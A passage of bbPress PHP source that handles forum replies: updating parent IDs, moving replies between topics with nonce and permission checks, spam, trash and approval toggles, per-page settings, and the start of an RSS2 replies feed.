	$forum_id = bbp_get_forum_id( $forum_id );

	// If no forum_id was passed, walk up ancestors and look for forum type
	if ( empty( $forum_id ) ) {

		// Get ancestors
		$ancestors = get_post_ancestors( $reply_id );

		// Loop through ancestors
		if ( ! empty( $ancestors ) ) {
			foreach ( $ancestors as $ancestor ) {

				// Get first parent that is a forum
				if ( get_post_field( 'post_type', $ancestor ) === bbp_get_forum_post_type() ) {
					$forum_id = $ancestor;

					// Found a forum, so exit the loop and continue
					continue;
				}
			}
		}
	}

	// Update the forum ID
	$retval = bbp_update_forum_id( $reply_id, $forum_id );

	// Filter & return
	return (int) apply_filters( 'bbp_update_reply_forum_id', $retval, $reply_id, $forum_id );
}

/**
 * Update the reply with its topic id it is in
 *
 * @since 2.0.0 bbPress (r2855)
 *
 * @param int $reply_id Optional. Reply id to update
 * @param int $topic_id Optional. Topic id
 * @return bool The topic id of the reply
 */
function bbp_update_reply_topic_id( $reply_id = 0, $topic_id = 0 ) {

	// Validation
	$reply_id = bbp_get_reply_id( $reply_id );
	$topic_id = bbp_get_topic_id( $topic_id );

	// If no topic_id was passed, walk up ancestors and look for topic type
	if ( empty( $topic_id ) ) {

		// Get ancestors
		$ancestors = (array) get_post_ancestors( $reply_id );

		// Loop through ancestors
		if ( ! empty( $ancestors ) ) {
			foreach ( $ancestors as $ancestor ) {

				// Get first parent that is a topic
				if ( get_post_field( 'post_type', $ancestor ) === bbp_get_topic_post_type() ) {
					$topic_id = $ancestor;

					// Found a topic, so exit the loop and continue
					continue;
				}
			}
		}
	}

	// Update the topic ID
	$retval = bbp_update_topic_id( $reply_id, $topic_id );

	// Filter & return
	return (int) apply_filters( 'bbp_update_reply_topic_id', $retval, $reply_id, $topic_id );
}

/*
 * Update the meta data with its parent reply-to id, of a reply
 *
 * @since 2.4.0 bbPress (r4944)
 *
 * @param int $reply_id Reply id to update
 * @param int $reply_to Optional. Reply to id
 * @return bool The parent reply id of the reply
 */
function bbp_update_reply_to( $reply_id = 0, $reply_to = 0 ) {

	// Validation
	$reply_id = bbp_get_reply_id( $reply_id );
	$reply_to = bbp_validate_reply_to( $reply_to, $reply_id );

	// Update or delete the `reply_to` postmeta
	if ( ! empty( $reply_id ) ) {

		// Update the reply to
		if ( ! empty( $reply_to ) ) {
			$reply_to = bbp_update_reply_to_id( $reply_id, $reply_to );

		// Delete the reply to
		} else {
			delete_post_meta( $reply_id, '_bbp_reply_to' );
		}
	}

	// Filter & return
	return (int) apply_filters( 'bbp_update_reply_to', $reply_to, $reply_id );
}

/**
 * Get all ancestors to a reply
 *
 * Because settings can be changed, this function does not care if hierarchical
 * replies are active or to what depth.
 *
 * @since 2.6.0 bbPress (r5390)
 *
 * @param int $reply_id
 * @return array
 */
function bbp_get_reply_ancestors( $reply_id = 0 ) {

	// Validation
	$reply_id  = bbp_get_reply_id( $reply_id );
	$ancestors = array();

	// Reply id is valid
	if ( ! empty( $reply_id ) ) {

		// Try to get reply parent
		$reply_to = bbp_get_reply_to( $reply_id );

		// Reply has a hierarchical parent
		if ( ! empty( $reply_to ) ) {

			// Setup the current ID and current post as an ancestor
			$id        = $reply_to;
			$ancestors = array( $reply_to );

			// Get parent reply
			while ( $ancestor = bbp_get_reply( $id ) ) {

				// Does parent have a parent?
				$grampy_id = bbp_get_reply_to( $ancestor->ID );

				// Loop detection: If the ancestor has been seen before, break.
				if ( empty( $ancestor->post_parent ) || ( $grampy_id === $reply_id ) || in_array( $grampy_id, $ancestors, true ) ) {
					break;
				}

				$id = $ancestors[] = $grampy_id;
			}
		}
	}

	// Filter & return
	return (array) apply_filters( 'bbp_get_reply_ancestors', $ancestors, $reply_id );
}

/**
 * Update the revision log of the reply
 *
 * @since 2.0.0 bbPress (r2782)
 *
 * @param array $args Supports these args:
 *  - reply_id: reply id
 *  - author_id: Author id
 *  - reason: Reason for editing
 *  - revision_id: Revision id
 * @return mixed False on failure, true on success
 */
function bbp_update_reply_revision_log( $args = array() ) {

	// Parse arguments against default values
	$r = bbp_parse_args( $args, array(
		'reason'      => '',
		'reply_id'    => 0,
		'author_id'   => 0,
		'revision_id' => 0
	), 'update_reply_revision_log' );

	// Populate the variables
	$r['reason']      = bbp_format_revision_reason( $r['reason'] );
	$r['reply_id']    = bbp_get_reply_id( $r['reply_id'] );
	$r['author_id']   = bbp_get_user_id ( $r['author_id'], false, true );
	$r['revision_id'] = (int) $r['revision_id'];

	// Get the logs and append the new one to those
	$revision_log                      = bbp_get_reply_raw_revision_log( $r['reply_id'] );
	$revision_log[ $r['revision_id'] ] = array( 'author' => $r['author_id'], 'reason' => $r['reason'] );

	// Finally, update
	update_post_meta( $r['reply_id'], '_bbp_revision_log', $revision_log );

	// Filter & return
	return apply_filters( 'bbp_update_reply_revision_log', $revision_log, $r['reply_id'] );
}

/**
 * Move reply handler
 *
 * Handles the front end move reply submission
 *
 * @since 2.3.0 bbPress (r4521)
 *
 * @param string $action The requested action to compare this function to
 */
function bbp_move_reply_handler( $action = '' ) {

	// Bail if action is not 'bbp-move-reply'
	if ( 'bbp-move-reply' !== $action ) {
		return;
	}

	// Prevent debug notices
	$move_reply_id = $destination_topic_id = 0;
	$destination_topic_title = '';
	$destination_topic = $move_reply = $source_topic = '';

	/** Move Reply ***********************************************************/

	if ( empty( $_POST['bbp_reply_id'] ) ) {
		bbp_add_error( 'bbp_move_reply_reply_id', __( '<strong>Error</strong>: A reply ID is required', 'bbpress' ) );
	} else {
		$move_reply_id = (int) $_POST['bbp_reply_id'];
	}

	$move_reply = bbp_get_reply( $move_reply_id );

	// Reply exists
	if ( empty( $move_reply ) ) {
		bbp_add_error( 'bbp_mover_reply_r_not_found', __( '<strong>Error</strong>: The reply you want to move was not found.', 'bbpress' ) );
	}

	/** Topic to Move From ***************************************************/

	// Get the current topic a reply is in
	$source_topic = bbp_get_topic( $move_reply->post_parent );

	// No topic
	if ( empty( $source_topic ) ) {
		bbp_add_error( 'bbp_move_reply_source_not_found', __( '<strong>Error</strong>: The topic you want to move from was not found.', 'bbpress' ) );
	}

	// Nonce check failed
	if ( ! bbp_verify_nonce_request( 'bbp-move-reply_' . $move_reply->ID ) ) {
		bbp_add_error( 'bbp_move_reply_nonce', __( '<strong>Error</strong>: Are you sure you wanted to do that?', 'bbpress' ) );
		return;
	}

	// Use cannot edit topic
	if ( ! current_user_can( 'edit_topic', $source_topic->ID ) ) {
		bbp_add_error( 'bbp_move_reply_source_permission', __( '<strong>Error</strong>: You do not have permission to edit the source topic.', 'bbpress' ) );
	}

	// How to move
	if ( ! empty( $_POST['bbp_reply_move_option'] ) ) {
		$move_option = (string) trim( $_POST['bbp_reply_move_option'] );
	}

	// Invalid move option
	if ( empty( $move_option ) || ! in_array( $move_option, array( 'existing', 'topic' ), true ) ) {
		bbp_add_error( 'bbp_move_reply_option', __( '<strong>Error</strong>: You need to choose a valid move option.', 'bbpress' ) );

	// Valid move option
	} else {

		// What kind of move
		switch ( $move_option ) {

			// Into an existing topic
			case 'existing' :

				// Get destination topic id
				if ( empty( $_POST['bbp_destination_topic'] ) ) {
					bbp_add_error( 'bbp_move_reply_destination_id', __( '<strong>Error</strong>: A topic ID is required.', 'bbpress' ) );
				} else {
					$destination_topic_id = (int) $_POST['bbp_destination_topic'];
				}

				// Get the destination topic
				$destination_topic = bbp_get_topic( $destination_topic_id );

				// No destination topic
				if ( empty( $destination_topic ) ) {
					bbp_add_error( 'bbp_move_reply_destination_not_found', __( '<strong>Error</strong>: The topic you want to move to was not found.', 'bbpress' ) );
				}

				// User cannot edit the destination topic
				if ( ! current_user_can( 'edit_topic', $destination_topic->ID ) ) {
					bbp_add_error( 'bbp_move_reply_destination_permission', __( '<strong>Error</strong>: You do not have permission to edit the destination topic.', 'bbpress' ) );
				}

				// Bump the reply position
				$reply_position = bbp_get_topic_reply_count( $destination_topic->ID, true ) + 1;

				// Update the reply
				wp_update_post( array(
					'ID'          => $move_reply->ID,
					'post_title'  => '',
					'post_name'   => false, // will be automatically generated
					'post_parent' => $destination_topic->ID,
					'menu_order'  => $reply_position,
					'guid'        => ''
				) );

				// Adjust reply meta values
				bbp_update_reply_topic_id( $move_reply->ID, $destination_topic->ID );
				bbp_update_reply_forum_id( $move_reply->ID, bbp_get_topic_forum_id( $destination_topic->ID ) );

				break;

			// Move reply to a new topic
			case 'topic' :
			default :

				// User needs to be able to publish topics
				if ( current_user_can( 'publish_topics' ) ) {

					// Use the new title that was passed
					if ( ! empty( $_POST['bbp_reply_move_destination_title'] ) ) {
						$destination_topic_title = sanitize_text_field( $_POST['bbp_reply_move_destination_title'] );

					// Use the source topic title
					} else {
						$destination_topic_title = $source_topic->post_title;
					}

					// Update the topic
					$destination_topic_id = wp_update_post( array(
						'ID'          => $move_reply->ID,
						'post_title'  => $destination_topic_title,
						'post_name'   => false,
						'post_type'   => bbp_get_topic_post_type(),
						'post_parent' => $source_topic->post_parent,
						'guid'        => ''
					) );
					$destination_topic = bbp_get_topic( $destination_topic_id );

					// Make sure the new topic knows its a topic
					bbp_update_topic_topic_id( $move_reply->ID );

					// Shouldn't happen
					if ( false === $destination_topic_id || is_wp_error( $destination_topic_id ) || empty( $destination_topic ) ) {
						bbp_add_error( 'bbp_move_reply_destination_reply', __( '<strong>Error</strong>: There was a problem converting the reply into the topic. Please try again.', 'bbpress' ) );
					}

				// User cannot publish posts
				} else {
					bbp_add_error( 'bbp_move_reply_destination_permission', __( '<strong>Error</strong>: You do not have permission to create new topics. The reply could not be converted into a topic.', 'bbpress' ) );
				}

				break;
		}
	}

	// Bail if there are errors
	if ( bbp_has_errors() ) {
		return;
	}

	/** No Errors - Clean Up **************************************************/

	// Update counts, etc...
	do_action( 'bbp_pre_move_reply', $move_reply->ID, $source_topic->ID, $destination_topic->ID );

	/** Date Check ************************************************************/

	// Check if the destination topic is older than the move reply
	if ( strtotime( $move_reply->post_date ) < strtotime( $destination_topic->post_date ) ) {

		// Set destination topic post_date to 1 second before from reply
		$destination_post_date = date( 'Y-m-d H:i:s', strtotime( $move_reply->post_date ) - 1 );

		// Update destination topic
		wp_update_post( array(
			'ID'            => $destination_topic_id,
			'post_date'     => $destination_post_date,
			'post_date_gmt' => get_gmt_from_date( $destination_post_date )
		) );
	}

	// Set the last reply ID and freshness to the move_reply
	$last_reply_id = $move_reply->ID;
	$freshness     = $move_reply->post_date;

	// Get the reply to
	$parent = bbp_get_reply_to( $move_reply->ID );

	// Fix orphaned children
	$children = get_posts( array(
		'post_type'  => bbp_get_reply_post_type(),
		'meta_key'   => '_bbp_reply_to',
		'meta_type'  => 'NUMERIC',
		'meta_value' => $move_reply->ID,
	) );
	foreach ( $children as $child ) {
		bbp_update_reply_to( $child->ID, $parent );
	}

	// Remove reply_to from moved reply
	delete_post_meta( $move_reply->ID, '_bbp_reply_to' );

	// It is a new topic and we need to set some default metas to make
	// the topic display in bbp_has_topics() list
	if ( 'topic' === $move_option ) {
		bbp_update_topic_last_reply_id   ( $destination_topic->ID, $last_reply_id );
		bbp_update_topic_last_active_id  ( $destination_topic->ID, $last_reply_id );
		bbp_update_topic_last_active_time( $destination_topic->ID, $freshness     );

	// Otherwise update the existing destination topic
	} else {
		bbp_update_topic_last_reply_id   ( $destination_topic->ID );
		bbp_update_topic_last_active_id  ( $destination_topic->ID );
		bbp_update_topic_last_active_time( $destination_topic->ID );
	}

	// Update source topic ID last active
	bbp_update_topic_last_reply_id   ( $source_topic->ID );
	bbp_update_topic_last_active_id  ( $source_topic->ID );
	bbp_update_topic_last_active_time( $source_topic->ID );

	/** Successful Move ******************************************************/

	// Update counts, etc...
	do_action( 'bbp_post_move_reply', $move_reply->ID, $source_topic->ID, $destination_topic->ID );

	// Redirect back to the topic
	bbp_redirect( bbp_get_topic_permalink( $destination_topic->ID ) );
}

/**
 * Fix counts on reply move
 *
 * When a reply is moved, update the counts of source and destination topic
 * and their forums.
 *
 * @since 2.3.0 bbPress (r4521)
 *
 * @param int $move_reply_id Move reply id
 * @param int $source_topic_id Source topic id
 * @param int $destination_topic_id Destination topic id
 */
function bbp_move_reply_count( $move_reply_id, $source_topic_id, $destination_topic_id ) {

	// Forum topic counts
	bbp_update_forum_topic_count( bbp_get_topic_forum_id( $destination_topic_id ) );

	// Forum reply counts
	bbp_update_forum_reply_count( bbp_get_topic_forum_id( $destination_topic_id ) );

	// Topic reply counts
	bbp_update_topic_reply_count( $source_topic_id      );
	bbp_update_topic_reply_count( $destination_topic_id );

	// Topic hidden reply counts
	bbp_update_topic_reply_count_hidden( $source_topic_id      );
	bbp_update_topic_reply_count_hidden( $destination_topic_id );

	// Topic voice counts
	bbp_update_topic_voice_count( $source_topic_id      );
	bbp_update_topic_voice_count( $destination_topic_id );

	do_action( 'bbp_move_reply_count', $move_reply_id, $source_topic_id, $destination_topic_id );
}

/** Reply Actions *************************************************************/

/**
 * Handles the front end spamming/unspamming and trashing/untrashing/deleting of
 * replies
 *
 * @since 2.0.0 bbPress (r2740)
 *
 * @param string $action The requested action to compare this function to
 */
function bbp_toggle_reply_handler( $action = '' ) {

	// Bail if required GET actions aren't passed
	if ( empty( $_GET['reply_id'] ) ) {
		return;
	}

	// What's the reply id?
	$reply_id = bbp_get_reply_id( (int) $_GET['reply_id'] );

	// Get possible reply-handler toggles
	$toggles = bbp_get_reply_toggles( $reply_id );

	// Bail if action isn't meant for this function
	if ( ! in_array( $action, $toggles, true ) ) {
		return;
	}

	// Make sure reply exists
	$reply = bbp_get_reply( $reply_id );
	if ( empty( $reply ) ) {
		bbp_add_error( 'bbp_toggle_reply_missing', __( '<strong>Error</strong>: This reply could not be found or no longer exists.', 'bbpress' ) );
		return;
	}

	// What is the user doing here?
	if ( ! current_user_can( 'edit_reply', $reply_id ) || ( 'bbp_toggle_reply_trash' === $action && ! current_user_can( 'delete_reply', $reply_id ) ) ) {
		bbp_add_error( 'bbp_toggle_reply_permission', __( '<strong>Error</strong>: You do not have permission to do that.', 'bbpress' ) );
		return;
	}

	// Sub-action?
	$sub_action = ! empty( $_GET['sub_action'] )
		? sanitize_key( $_GET['sub_action'] )
		: false;

	// Preliminary array
	$post_data = array( 'ID' => $reply_id );

	// Do the reply toggling
	$retval = bbp_toggle_reply( array(
		'id'         => $reply_id,
		'action'     => $action,
		'sub_action' => $sub_action,
		'data'       => $post_data
	) );

	// Do additional reply toggle actions
	do_action( 'bbp_toggle_reply_handler', $retval['status'], $post_data, $action );

	// Redirect back to reply
	if ( ( false !== $retval['status'] ) && ! is_wp_error( $retval['status'] ) ) {
		bbp_redirect( $retval['redirect_to'] );

	// Handle errors
	} else {
		bbp_add_error( 'bbp_toggle_reply', $retval['message'] );
	}
}

/**
 * Do the actual reply toggling
 *
 * This function is used by `bbp_toggle_reply_handler()` to do the actual heavy
 * lifting when it comes to toggling replies. It only really makes sense to call
 * within that context, so if you need to call this function directly, make sure
 * you're also doing what the handler does too.
 *
 * @since 2.6.0 bbPress (r6133)
 * @access private
 *
 * @param array $args
 */
function bbp_toggle_reply( $args = array() ) {

	// Parse the arguments
	$r = bbp_parse_args( $args, array(
		'id'         => 0,
		'action'     => '',
		'sub_action' => '',
		'data'       => array()
	) );

	// Build the nonce suffix
	$nonce_suffix = bbp_get_reply_post_type() . '_' . (int) $r['id'];

	// Default return values
	$retval = array(
		'status'      => 0,
		'message'     => '',
		'redirect_to' => bbp_get_reply_url( $r['id'], bbp_get_redirect_to() ),
		'view_all'    => false
	);

	// What action are we trying to perform?
	switch ( $r['action'] ) {

		// Toggle approve
		case 'bbp_toggle_reply_approve' :
			check_ajax_referer( "approve-{$nonce_suffix}" );

			$is_approve         = bbp_is_reply_pending( $r['id'] );
			$retval['status']   = $is_approve ? bbp_approve_reply( $r['id'] ) : bbp_unapprove_reply( $r['id'] );
			$retval['message']  = $is_approve ? __( '<strong>Error</strong>: There was a problem approving the reply.', 'bbpress' ) : __( '<strong>Error</strong>: There was a problem unapproving the reply.', 'bbpress' );
			$retval['view_all'] = ! $is_approve;

			break;

		// Toggle spam
		case 'bbp_toggle_reply_spam' :
			check_ajax_referer( "spam-{$nonce_suffix}" );

			$is_spam            = bbp_is_reply_spam( $r['id'] );
			$retval['status']   = $is_spam ? bbp_unspam_reply( $r['id'] ) : bbp_spam_reply( $r['id'] );
			$retval['message']  = $is_spam ? __( '<strong>Error</strong>: There was a problem unmarking the reply as spam.', 'bbpress' ) : __( '<strong>Error</strong>: There was a problem marking the reply as spam.', 'bbpress' );
			$retval['view_all'] = ! $is_spam;

			break;

		// Toggle trash
		case 'bbp_toggle_reply_trash' :

			// Which subaction?
			switch ( $r['sub_action'] ) {
				case 'trash':
					check_ajax_referer( "trash-{$nonce_suffix}" );

					$retval['view_all'] = true;
					$retval['status']   = wp_trash_post( $r['id'] );
					$retval['message']  = __( '<strong>Error</strong>: There was a problem trashing the reply.', 'bbpress' );

					break;

				case 'untrash':
					check_ajax_referer( "untrash-{$nonce_suffix}" );

					$retval['status']  = wp_untrash_post( $r['id'] );
					$retval['message'] = __( '<strong>Error</strong>: There was a problem untrashing the reply.', 'bbpress' );

					break;

				case 'delete':
					check_ajax_referer( "delete-{$nonce_suffix}" );

					$retval['status']  = wp_delete_post( $r['id'] );
					$retval['message'] = __( '<strong>Error</strong>: There was a problem deleting the reply.', 'bbpress' );

					break;
			}

			break;
	}

	// Add view all if needed
	if ( ! empty( $retval['view_all'] ) ) {
		$retval['redirect_to'] = bbp_add_view_all( $retval['redirect_to'], true );
	}

	// Filter & return
	return apply_filters( 'bbp_toggle_reply', $retval, $r, $args );
}

/** Helpers *******************************************************************/

/**
 * Return an associative array of available reply statuses
 *
 * @since 2.6.0 bbPress (r5399)
 *
 * @param int $reply_id   Optional. Reply id.
 *
 * @return array
 */
function bbp_get_reply_statuses( $reply_id = 0 ) {

	// Filter & return
	return (array) apply_filters( 'bbp_get_reply_statuses', array(
		bbp_get_public_status_id()  => _x( 'Publish', 'Publish the reply',     'bbpress' ),
		bbp_get_spam_status_id()    => _x( 'Spam',    'Spam the reply',        'bbpress' ),
		bbp_get_trash_status_id()   => _x( 'Trash',   'Trash the reply',       'bbpress' ),
		bbp_get_pending_status_id() => _x( 'Pending', 'Mark reply as pending', 'bbpress' )
	), $reply_id );
}

/**
 * Return array of available reply toggle actions
 *
 * @since 2.6.0 bbPress (r6133)
 *
 * @param int $reply_id   Optional. Reply id.
 *
 * @return array
 */
function bbp_get_reply_toggles( $reply_id = 0 ) {

	// Filter & return
	return (array) apply_filters( 'bbp_get_toggle_reply_actions', array(
		'bbp_toggle_reply_spam',
		'bbp_toggle_reply_trash',
		'bbp_toggle_reply_approve'
	), $reply_id );
}

/**
 * Return array of public reply statuses.
 *
 * @since 2.6.0 bbPress (r6705)
 *
 * @return array
 */
function bbp_get_public_reply_statuses() {
	$statuses = array(
		bbp_get_public_status_id()
	);

	// Filter & return
	return (array) apply_filters( 'bbp_get_public_reply_statuses', $statuses );
}

/**
 * Return array of non-public reply statuses.
 *
 * @since 2.6.0 bbPress (r6791)
 *
 * @return array
 */
function bbp_get_non_public_reply_statuses() {
	$statuses = array(
		bbp_get_trash_status_id(),
		bbp_get_spam_status_id(),
		bbp_get_pending_status_id()
	);

	// Filter & return
	return (array) apply_filters( 'bbp_get_non_public_reply_statuses', $statuses );
}

/** Reply Actions *************************************************************/

/**
 * Marks a reply as spam
 *
 * @since 2.0.0 bbPress (r2740)
 *
 * @param int $reply_id Reply id
 * @return mixed False or {@link WP_Error} on failure, reply id on success
 */
function bbp_spam_reply( $reply_id = 0 ) {

	// Get reply
	$reply = bbp_get_reply( $reply_id );
	if ( empty( $reply ) ) {
		return $reply;
	}

	// Bail if already spam
	if ( bbp_get_spam_status_id() === $reply->post_status ) {
		return false;
	}

	// Execute pre spam code
	do_action( 'bbp_spam_reply', $reply_id );

	// Add the original post status as post meta for future restoration
	add_post_meta( $reply_id, '_bbp_spam_meta_status', $reply->post_status );

	// Set post status to spam
	$reply->post_status = bbp_get_spam_status_id();

	// No revisions
	remove_action( 'pre_post_update', 'wp_save_post_revision' );

	// Update the reply
	$reply_id = wp_update_post( $reply );

	// Execute post spam code
	do_action( 'bbp_spammed_reply', $reply_id );

	// Return reply_id
	return $reply_id;
}

/**
 * Unspams a reply
 *
 * @since 2.0.0 bbPress (r2740)
 *
 * @param int $reply_id Reply id
 * @return mixed False or {@link WP_Error} on failure, reply id on success
 */
function bbp_unspam_reply( $reply_id = 0 ) {

	// Get reply
	$reply = bbp_get_reply( $reply_id );
	if ( empty( $reply ) ) {
		return $reply;
	}

	// Bail if already not spam
	if ( bbp_get_spam_status_id() !== $reply->post_status ) {
		return false;
	}

	// Execute pre unspam code
	do_action( 'bbp_unspam_reply', $reply_id );

	// Get pre spam status
	$reply->post_status = get_post_meta( $reply_id, '_bbp_spam_meta_status', true );

	// If no previous status, default to publish
	if ( empty( $reply->post_status ) ) {
		$reply->post_status = bbp_get_public_status_id();
	}

	// Delete pre spam meta
	delete_post_meta( $reply_id, '_bbp_spam_meta_status' );

	// No revisions
	remove_action( 'pre_post_update', 'wp_save_post_revision' );

	// Update the reply
	$reply_id = wp_update_post( $reply );

	// Execute post unspam code
	do_action( 'bbp_unspammed_reply', $reply_id );

	// Return reply_id
	return $reply_id;
}

/**
 * Approves a reply
 *
 * @since 2.6.0 bbPress (r5506)
 *
 * @param int $reply_id Reply id
 * @return mixed False or {@link WP_Error} on failure, reply id on success
 */
function bbp_approve_reply( $reply_id = 0 ) {

	// Get reply
	$reply = bbp_get_reply( $reply_id );
	if ( empty( $reply ) ) {
		return $reply;
	}

	// Get new status
	$status = bbp_get_public_status_id();

	// Bail if already approved
	if ( $status === $reply->post_status ) {
		return false;
	}

	// Execute pre pending code
	do_action( 'bbp_approve_reply', $reply_id );

	// Set publish status
	$reply->post_status = $status;

	// Set post date GMT - prevents post_date override in wp_update_post()
	$reply->post_date_gmt = get_gmt_from_date( $reply->post_date );

	// No revisions
	remove_action( 'pre_post_update', 'wp_save_post_revision' );

	// Update reply
	$reply_id = wp_update_post( $reply );

	// Execute post pending code
	do_action( 'bbp_approved_reply', $reply_id );

	// Return reply_id
	return $reply_id;
}

/**
 * Unapproves a reply
 *
 * @since 2.6.0 bbPress (r5506)
 *
 * @param int $reply_id Reply id
 * @return mixed False or {@link WP_Error} on failure, reply id on success
 */
function bbp_unapprove_reply( $reply_id = 0 ) {

	// Get reply
	$reply = bbp_get_reply( $reply_id );
	if ( empty( $reply ) ) {
		return $reply;
	}

	// Get new status
	$status = bbp_get_pending_status_id();

	// Bail if already pending
	if ( $status === $reply->post_status ) {
		return false;
	}

	// Execute pre open code
	do_action( 'bbp_unapprove_reply', $reply_id );

	// Set pending status
	$reply->post_status = $status;

	// No revisions
	remove_action( 'pre_post_update', 'wp_save_post_revision' );

	// Update reply
	$reply_id = wp_update_post( $reply );

	// Execute post open code
	do_action( 'bbp_unapproved_reply', $reply_id );

	// Return reply_id
	return $reply_id;
}

/** Before Delete/Trash/Untrash ***********************************************/

/**
 * Called before deleting a reply
 */
function bbp_delete_reply( $reply_id = 0 ) {
	$reply_id = bbp_get_reply_id( $reply_id );

	if ( empty( $reply_id ) || ! bbp_is_reply( $reply_id ) ) {
		return false;
	}

	do_action( 'bbp_delete_reply', $reply_id );
}

/**
 * Called before trashing a reply
 */
function bbp_trash_reply( $reply_id = 0 ) {
	$reply_id = bbp_get_reply_id( $reply_id );

	if ( empty( $reply_id ) || ! bbp_is_reply( $reply_id ) ) {
		return false;
	}

	do_action( 'bbp_trash_reply', $reply_id );
}

/**
 * Called before untrashing (restoring) a reply
 */
function bbp_untrash_reply( $reply_id = 0 ) {
	$reply_id = bbp_get_reply_id( $reply_id );

	if ( empty( $reply_id ) || ! bbp_is_reply( $reply_id ) ) {
		return false;
	}

	do_action( 'bbp_untrash_reply', $reply_id );
}

/** After Delete/Trash/Untrash ************************************************/

/**
 * Called after deleting a reply
 *
 * @since 2.0.0 bbPress (r2993)
 */
function bbp_deleted_reply( $reply_id = 0 ) {
	$reply_id = bbp_get_reply_id( $reply_id );

	if ( empty( $reply_id ) || ! bbp_is_reply( $reply_id ) ) {
		return false;
	}

	do_action( 'bbp_deleted_reply', $reply_id );
}

/**
 * Called after trashing a reply
 *
 * @since 2.0.0 bbPress (r2993)
 */
function bbp_trashed_reply( $reply_id = 0 ) {
	$reply_id = bbp_get_reply_id( $reply_id );

	if ( empty( $reply_id ) || ! bbp_is_reply( $reply_id ) ) {
		return false;
	}

	do_action( 'bbp_trashed_reply', $reply_id );
}

/**
 * Called after untrashing (restoring) a reply
 *
 * @since 2.0.0 bbPress (r2993)
 */
function bbp_untrashed_reply( $reply_id = 0 ) {
	$reply_id = bbp_get_reply_id( $reply_id );

	if ( empty( $reply_id ) || ! bbp_is_reply( $reply_id ) ) {
		return false;
	}

	do_action( 'bbp_untrashed_reply', $reply_id );
}

/** Settings ******************************************************************/

/**
 * Return the replies per page setting
 *
 * @since 2.0.0 bbPress (r3540)
 *
 * @param int $default Default replies per page (15)
 * @return int
 */
function bbp_get_replies_per_page( $default = 15 ) {

	// Get database option and cast as integer
	$retval = get_option( '_bbp_replies_per_page', $default );

	// If return val is empty, set it to default
	if ( empty( $retval ) ) {
		$retval = $default;
	}

	// Filter & return
	return (int) apply_filters( 'bbp_get_replies_per_page', $retval, $default );
}

/**
 * Return the replies per RSS page setting
 *
 * @since 2.0.0 bbPress (r3540)
 *
 * @param int $default Default replies per page (25)
 * @return int
 */
function bbp_get_replies_per_rss_page( $default = 25 ) {

	// Get database option and cast as integer
	$retval = get_option( '_bbp_replies_per_rss_page', $default );

	// If return val is empty, set it to default
	if ( empty( $retval ) ) {
		$retval = $default;
	}

	// Filter & return
	return (int) apply_filters( 'bbp_get_replies_per_rss_page', $retval, $default );
}

/** Autoembed *****************************************************************/

/**
 * Check if autoembeds are enabled and hook them in if so
 *
 * @since 2.1.0 bbPress (r3752)
 *
 * @global WP_Embed $wp_embed
 */
function bbp_reply_content_autoembed() {
	global $wp_embed;

	if ( bbp_use_autoembed() && is_a( $wp_embed, 'WP_Embed' ) ) {
		add_filter( 'bbp_get_reply_content', array( $wp_embed, 'autoembed' ), 2 );
	}
}

/** Filters *******************************************************************/

/**
 * Used by bbp_has_replies() to add the lead topic post to the posts loop
 *
 * This function filters the 'post_where' of the WP_Query, and changes the query
 * to include both the topic AND its children in the same loop.
 *
 * @since 2.1.0 bbPress (r4058)
 *
 * @param string $where
 * @return string
 */
function _bbp_has_replies_where( $where = '', $query = false ) {

	/** Bail ******************************************************************/

	// Bail if the sky is falling
	if ( empty( $where ) || empty( $query ) ) {
		return $where;
	}

	// Bail if no post_parent to replace
	if ( ! is_numeric( $query->get( 'post_parent' ) ) ) {
		return $where;
	}

	// Bail if not a topic and reply query
	if ( array( bbp_get_topic_post_type(), bbp_get_reply_post_type() ) !== $query->get( 'post_type' ) ) {
		return $where;
	}

	// Bail if including specific post ID's
	if ( $query->get( 'post__in' ) ) {
		return $where;
	}

	/** Proceed ***************************************************************/

	// Table name for posts
	$table_name = bbp_db()->prefix . 'posts';

	// Get the topic ID from the post_parent, set in bbp_has_replies()
	$topic_id   = bbp_get_topic_id( $query->get( 'post_parent' ) );

	// The texts to search for
	$search     = array(
		"FROM {$table_name} " ,
		"WHERE 1=1  AND {$table_name}.post_parent = {$topic_id}",
		") AND {$table_name}.post_parent = {$topic_id}"
	);

	// The texts to replace them with
	$replace     = array(
		$search[0] . "FORCE INDEX (PRIMARY, post_parent) " ,
		"WHERE 1=1 AND ({$table_name}.ID = {$topic_id} OR {$table_name}.post_parent = {$topic_id})",
		") AND ({$table_name}.ID = {$topic_id} OR {$table_name}.post_parent = {$topic_id})"
	);

	// Try to replace the search text with the replacement
	$new_where = str_replace( $search, $replace, $where );
	if ( ! empty( $new_where ) ) {
		$where = $new_where;
	}

	return $where;
}

/** Feeds *********************************************************************/

/**
 * Output an RSS2 feed of replies, based on the query passed.
 *
 * @since 2.0.0 bbPress (r3171)
 *
 * @param array $replies_query
 */
function bbp_display_replies_feed_rss2( $replies_query = array() ) {

	// User cannot access forum this topic is in
	if ( bbp_is_single_topic() && ! bbp_user_can_view_forum( array( 'forum_id' => bbp_get_topic_forum_id() ) ) ) {
		return;
	}

	// Adjust the title based on context
	if ( bbp_is_single_topic() ) {
		$title = get_wp_title_rss();
	} elseif ( ! bbp_show_lead_topic() ) {
		$title = get_bloginfo_rss( 'name' ) . ' &#187; ' .  __( 'All Posts',   'bbpress' );
	} else {
		$title = get_bloginfo_rss( 'name' ) . ' &#187; ' .  __( 'All Replies', 'bbpress' );
	}

	$title = apply_filters( 'wp_title_rss', $title );

	// Display the feed
	header( 'Content-Type: ' . feed_content_type( 'rss2' ) . '; charset=' . get_option( 'blog_charset' ), true );
	header( 'Status: 200 OK' );
	echo '<?xml version="1.0" encoding="' . get_option( 'blog_charset' ) . '"?' . '>'; ?>

	<rss version="2.0"
		xmlns:content="http://purl.org/rss/1.0/modules/content/"
		xmlns:wfw="http://wellformedweb.org/CommentAPI/"
		xmlns:dc="http://purl.org/dc/elements/1.1/"
		xmlns:atom="http://www.w3.org/2005/Atom"

		<?php do_action( 'bbp_feed' ); ?>
	>

	<channel>

		<title><?php echo $title; // Already escaped ?></title>
		<atom:link href="<?php self_link(); ?>" rel="self" type="application/rss+xml" />
		<link><?php self_link(); ?></link>
		<description><?php //?></description>
		<lastBuildDate><?php echo date( 'r' ); ?></lastBuildDate>
		<generator><?php echo esc_url_raw( 'https://bbpress.org/?v=' . convert_chars( bbp_get_version() ) ); ?></generator>
		<language><?php bloginfo_rss( 'language' ); ?></language>

		<?php do_action( 'bbp_feed_head' ); ?>

		<?php if ( bbp_is_single_topic() ) : ?>
